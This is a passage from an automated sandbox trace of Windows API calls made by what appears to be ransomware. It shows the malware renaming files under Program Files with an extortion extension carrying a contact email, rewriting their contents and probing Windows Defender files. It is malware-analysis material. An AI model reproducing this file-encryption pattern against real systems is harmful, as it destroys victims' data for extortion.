lpNumberOfBytesWritten=0x4bfff0c*=0x20, lpOverlapped=0x0) returned 1 [0220.921] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.921] WriteFile (in: hFile=0x5ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4bfff0c*=0x4, lpOverlapped=0x0) returned 1 [0220.921] CloseHandle (hObject=0x5ec) returned 1 [0220.921] GetProcessHeap () returned 0x630000 [0220.921] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74aa268 | out: hHeap=0x630000) returned 1 [0220.921] GetProcessHeap () returned 0x630000 [0220.921] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74aa090 | out: hHeap=0x630000) returned 1 [0220.921] GetProcessHeap () returned 0x630000 [0220.921] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318210 | out: hHeap=0x630000) returned 1 [0220.921] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0220.922] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lv-LV\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4bffcc4 | out: lpFindFileData=0x4bffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3d467a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x49a103a4, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1c4, dwReserved0=0x4bffd20, dwReserved1=0x74aa090, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5400 [0220.922] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0220.922] Sleep (dwMilliseconds=0x1) [0220.932] SysReAllocStringLen (in: pbstr=0x4bfff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lv-LV\\toastbeginupgrade.xml", len=0x7a | out: pbstr=0x4bfff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lv-LV\\toastbeginupgrade.xml") returned 1 [0220.932] GetProcessHeap () returned 0x630000 [0220.932] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5108) returned 0x6fe3bb0 [0220.932] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lv-LV\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\lv-lv\\toastbeginupgrade.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0220.933] CloseHandle (hObject=0x5ec) returned 1 [0220.933] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0220.933] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lv-LV\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\lv-lv\\toastbeginupgrade.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lv-LV\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\lv-lv\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0220.934] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0220.934] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lv-LV\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4bffc6c | out: lpFindFileData=0x4bffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3d467a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x259, dwReserved0=0x2d0064, dwReserved1=0x390031, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d4ec0 [0220.934] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0220.934] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lv-LV\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\lv-lv\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0220.934] GetProcessHeap () returned 0x630000 [0220.934] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x261) returned 0x6d7550 [0220.934] GetProcessHeap () returned 0x630000 [0220.934] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x261) returned 0x6d77d8 [0220.934] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.934] ReadFile (in: hFile=0x5ec, lpBuffer=0x6d7550, nNumberOfBytesToRead=0x240, lpNumberOfBytesRead=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d7550*, lpNumberOfBytesRead=0x4bfff0c*=0x240, lpOverlapped=0x0) returned 1 [0220.938] GetProcessHeap () returned 0x630000 [0220.938] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318558 [0220.938] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.938] WriteFile (in: hFile=0x5ec, lpBuffer=0x6d77d8*, nNumberOfBytesToWrite=0x240, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d77d8*, lpNumberOfBytesWritten=0x4bfff0c*=0x240, lpOverlapped=0x0) returned 1 [0220.938] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.938] WriteFile (in: hFile=0x5ec, lpBuffer=0x6d7a17*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d7a17*, lpNumberOfBytesWritten=0x4bfff0c*=0x20, lpOverlapped=0x0) returned 1 [0220.938] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.938] WriteFile (in: hFile=0x5ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4bfff0c*=0x4, lpOverlapped=0x0) returned 1 [0220.938] CloseHandle (hObject=0x5ec) returned 1 [0220.938] GetProcessHeap () returned 0x630000 [0220.938] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d77d8 | out: hHeap=0x630000) returned 1 [0220.938] GetProcessHeap () returned 0x630000 [0220.938] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d7550 | out: hHeap=0x630000) returned 1 [0220.938] GetProcessHeap () returned 0x630000 [0220.938] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318558 | out: hHeap=0x630000) returned 1 [0220.939] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0220.939] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lv-LV\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4bffcc4 | out: lpFindFileData=0x4bffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3d467a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x49a36806, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x27d, dwReserved0=0x4bffd20, dwReserved1=0x6d7550, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d4e00 [0220.939] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0220.939] Sleep (dwMilliseconds=0x1) [0220.947] SysReAllocStringLen (in: pbstr=0x4bfff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lv-LV\\index.html", len=0x6f | out: pbstr=0x4bfff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lv-LV\\index.html") returned 1 [0220.947] GetProcessHeap () returned 0x630000 [0220.947] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5104) returned 0x6fe3bb0 [0220.948] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lv-LV\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\lv-lv\\index.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0220.948] CloseHandle (hObject=0x5ec) returned 1 [0220.948] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0220.948] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lv-LV\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\lv-lv\\index.html"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lv-LV\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\lv-lv\\index.html.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0220.949] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0220.949] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lv-LV\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4bffc6c | out: lpFindFileData=0x4bffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3d467a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa07c, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d5040 [0220.949] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0220.949] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lv-LV\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\lv-lv\\index.html.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0220.949] GetProcessHeap () returned 0x630000 [0220.949] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa081) returned 0x74aae98 [0220.950] GetProcessHeap () returned 0x630000 [0220.950] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa081) returned 0x74b4f28 [0220.950] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.950] ReadFile (in: hFile=0x5ec, lpBuffer=0x74aae98, nNumberOfBytesToRead=0xa060, lpNumberOfBytesRead=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aae98*, lpNumberOfBytesRead=0x4bfff0c*=0xa060, lpOverlapped=0x0) returned 1 [0224.984] GetProcessHeap () returned 0x630000 [0224.984] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7175cd8 [0224.984] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.984] WriteFile (in: hFile=0x5ec, lpBuffer=0x74b4f28*, nNumberOfBytesToWrite=0xa060, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x74b4f28*, lpNumberOfBytesWritten=0x4bfff0c*=0xa060, lpOverlapped=0x0) returned 1 [0225.654] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.654] WriteFile (in: hFile=0x5ec, lpBuffer=0x74bef87*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x74bef87*, lpNumberOfBytesWritten=0x4bfff0c*=0x20, lpOverlapped=0x0) returned 1 [0225.727] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.727] WriteFile (in: hFile=0x5ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4bfff0c*=0x4, lpOverlapped=0x0) returned 1 [0225.727] CloseHandle (hObject=0x5ec) returned 1 [0225.727] GetProcessHeap () returned 0x630000 [0225.728] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74b4f28 | out: hHeap=0x630000) returned 1 [0225.728] GetProcessHeap () returned 0x630000 [0225.728] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74aae98 | out: hHeap=0x630000) returned 1 [0225.728] GetProcessHeap () returned 0x630000 [0225.728] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7175cd8 | out: hHeap=0x630000) returned 1 [0226.664] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0226.664] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lv-LV\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4bffcc4 | out: lpFindFileData=0x4bffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3d467a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c7cf597, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xa0a0, dwReserved0=0xb907496, dwReserved1=0x74aae90, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d4e40 [0226.664] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0226.665] Sleep (dwMilliseconds=0x1) [0226.671] SysReAllocStringLen (in: pbstr=0x4bfff7c*=0x0, psz="C:\\Program Files\\Windows Defender Advanced Threat Protection\\disable-changing.exe", len=0x51 | out: pbstr=0x4bfff7c*="C:\\Program Files\\Windows Defender Advanced Threat Protection\\disable-changing.exe") returned 1 [0226.671] GetProcessHeap () returned 0x630000 [0226.671] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5200) returned 0x6fe3bb0 [0226.672] CreateFileW (lpFileName="C:\\Program Files\\Windows Defender Advanced Threat Protection\\disable-changing.exe" (normalized: "c:\\program files\\windows defender advanced threat protection\\disable-changing.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0226.672] Sleep (dwMilliseconds=0x1) [0226.682] SysReAllocStringLen (in: pbstr=0x4bfff7c*=0x0, psz="C:\\Program Files\\Windows Defender\\MSASCuiL.exe", len=0x2e | out: pbstr=0x4bfff7c*="C:\\Program Files\\Windows Defender\\MSASCuiL.exe") returned 1 [0226.682] GetProcessHeap () returned 0x630000 [0226.682] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x51dc) returned 0x6fe3bb0 [0226.682] CreateFileW (lpFileName="C:\\Program Files\\Windows Defender\\MSASCuiL.exe" (normalized: "c:\\program files\\windows defender\\msascuil.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0226.682] Sleep (dwMilliseconds=0x1) [0226.699] SysReAllocStringLen (in: pbstr=0x4bfff7c*=0x0, psz="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.002.etl", len=0x3f | out: pbstr=0x4bfff7c*="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.002.etl") returned 1 [0226.699] GetProcessHeap () returned 0x630000 [0226.699] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5190) returned 0x6fe3bb0 [0226.699] CreateFileW (lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.002.etl" (normalized: "c:\\program files\\unp\\logs\\universalnotificationplatform.002.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0226.718] CloseHandle (hObject=0x4b8) returned 1 [0226.718] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0226.718] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.002.etl" (normalized: "c:\\program files\\unp\\logs\\universalnotificationplatform.002.etl"), lpNewFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.002.etl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\logs\\universalnotificationplatform.002.etl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0226.766] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0226.767] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.002.etl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4bffc6c | out: lpFindFileData=0x4bffc6c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xf95053af, ftLastAccessTime.dwHighDateTime=0x1d5d805, ftLastWriteTime.dwLowDateTime=0x9b236e, ftLastWriteTime.dwHighDateTime=0x1d5d806, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniversalNotificationPlatform.002.etl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="UNDF4C~1.FIR")) returned 0x6d5200 [0226.767] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0226.767] CreateFileW (lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.002.etl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\logs\\universalnotificationplatform.002.etl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0226.767] GetProcessHeap () returned 0x630000 [0226.767] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7437868 [0226.767] GetProcessHeap () returned 0x630000 [0226.767] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x74aae98 [0226.768] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.768] ReadFile (in: hFile=0x4b8, lpBuffer=0x7437868, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x7437868*, lpNumberOfBytesRead=0x4bfff0c*=0xb400, lpOverlapped=0x0) returned 1 [0233.075] GetProcessHeap () returned 0x630000 [0233.075] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73180f8 [0233.075] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.075] WriteFile (in: hFile=0x4b8, lpBuffer=0x74aae98*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aae98*, lpNumberOfBytesWritten=0x4bfff0c*=0xb400, lpOverlapped=0x0) returned 1 [0233.668] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.668] WriteFile (in: hFile=0x4b8, lpBuffer=0x74b6297*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x74b6297*, lpNumberOfBytesWritten=0x4bfff0c*=0x20, lpOverlapped=0x0) returned 1 [0233.972] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.972] WriteFile (in: hFile=0x4b8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4bfff0c*=0x4, lpOverlapped=0x0) returned 1 [0233.973] CloseHandle (hObject=0x4b8) returned 1 [0234.561] GetProcessHeap () returned 0x630000 [0234.561] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74aae98 | out: hHeap=0x630000) returned 1 [0234.563] GetProcessHeap () returned 0x630000 [0234.563] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7437868 | out: hHeap=0x630000) returned 1 [0234.563] GetProcessHeap () returned 0x630000 [0234.563] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73180f8 | out: hHeap=0x630000) returned 1 [0235.670] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.671] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.002.etl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4bffcc4 | out: lpFindFileData=0x4bffcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xf95053af, ftLastAccessTime.dwHighDateTime=0x1d5d805, ftLastWriteTime.dwLowDateTime=0x516854c4, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x20024, dwReserved0=0xb907496, dwReserved1=0x7437860, cFileName="UniversalNotificationPlatform.002.etl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="UNDF4C~1.FIR")) returned 0x6d5580 [0235.671] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0235.671] Sleep (dwMilliseconds=0x1) [0235.717] SysReAllocStringLen (in: pbstr=0x4bfff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\App\\volume.scale-100.png", len=0x68 | out: pbstr=0x4bfff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\App\\volume.scale-100.png") returned 1 [0235.717] GetProcessHeap () returned 0x630000 [0235.717] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4fe0) returned 0x6fe3bb0 [0235.717] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\App\\volume.scale-100.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\app\\volume.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, 